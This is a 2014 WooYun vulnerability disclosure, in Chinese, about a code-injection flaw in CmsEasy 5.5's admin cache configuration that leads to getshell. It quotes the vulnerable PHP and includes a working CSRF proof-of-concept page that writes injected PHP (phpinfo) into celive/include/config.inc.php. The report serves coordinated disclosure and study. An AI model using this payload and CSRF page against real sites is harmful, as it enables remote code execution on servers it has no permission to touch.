当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074941

漏洞标题:cmseasy 后台缓存配置文件未过滤一个字符导致getshell

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-09-04 12:08

修复时间:2014-12-03 12:10

公开时间:2014-12-03 12:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-05: 厂商已经确认,细节仅向厂商公开
2014-09-08: 细节向第三方安全合作伙伴开放
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-12-03: 细节向公众公开

简要描述:

cmseasy 管理员身份 后台缓存配置文件,没有过滤一个字符导致getshell

详细说明:

啥都不说了 直接看代码:
我们直接到

10.png


然后我们分析一下代码:
system.php:(lines:67):

if(addslashes($_POST['customer_info']))
{
$customer_info='true';
}else{
$customer_info='false';
}
$GLOBALS['celsysteminfo']->conf(addslashes($_POST['url']), addslashes($_POST['template']), addslashes($_POST['company']),addslashes($_POST['companyinfos']), addslashes($_POST['language']), $customer_info, addslashes($_POST['tracker_refresh']));
//提交修改后,需自动刷新一次,才能显示修改的内容
echo "<script>window.history.go(-1);</script>";
}


我们跟进到$GLOBALS['celsysteminfo']->conf
这个函数看看,在这里之前他进行了addslashes,分析一下,如果我们提交的一个值为aaa\' 转义之后就是aaa\\\' 那么我们进入:
system.class.php:(14):

$this->file = preg_replace("/\['company'\] = '.*';/",'[\'company\'] = \''.$company.'\';',$this->file);


这句正则表达式是有问题的 ,这里的this->file 就是我们的配置文件的内容,此文件位于
celive/include/config.inc.php
意思就是把这里面company里面的值替换掉,然后后面这个'[\'company\'] = \''.$company.'\'; 相加之后其中\\\'会变成\\'故而产生漏洞,我们构造请求如下:

9.png


发送一次看看这个文件有什么变化:

11.png


我们在测试一下这里是否存在csrf,我们构造一个页面:

<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/system.php?action=systeminfo", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = "true";
var body='url=http%3A%2F%2F192.168.10.70%2FCmsEasy_5.5_UTF-8_20140818%2Fuploads%2Fcelive&company=sdssdadd%5C%27%3Bphpinfo%28%29%3B%2f%2f&customer_info=0&tracker_refresh=5000&template=default&language=chinese.php&systeminfo=systeminfo&submit=%E7%A1%AE%E8%AE%A4';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

csrf_sql();
</script>
</body>
</html>


我们放到另一台机器上去,然后发给管理员,管理员触发之后:

12.png


成功发送,下来我们这里访问一下刚才那个配置文件

13.png


ok 这里没有给出csrf 诱惑管理员的方法,想必上一个sql来说,这个稍微弱一些,但是这个不需要数据库权限,故而还是挺严重的

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-05 13:08

厂商回复:

祝节日快乐

最新状态:

暂无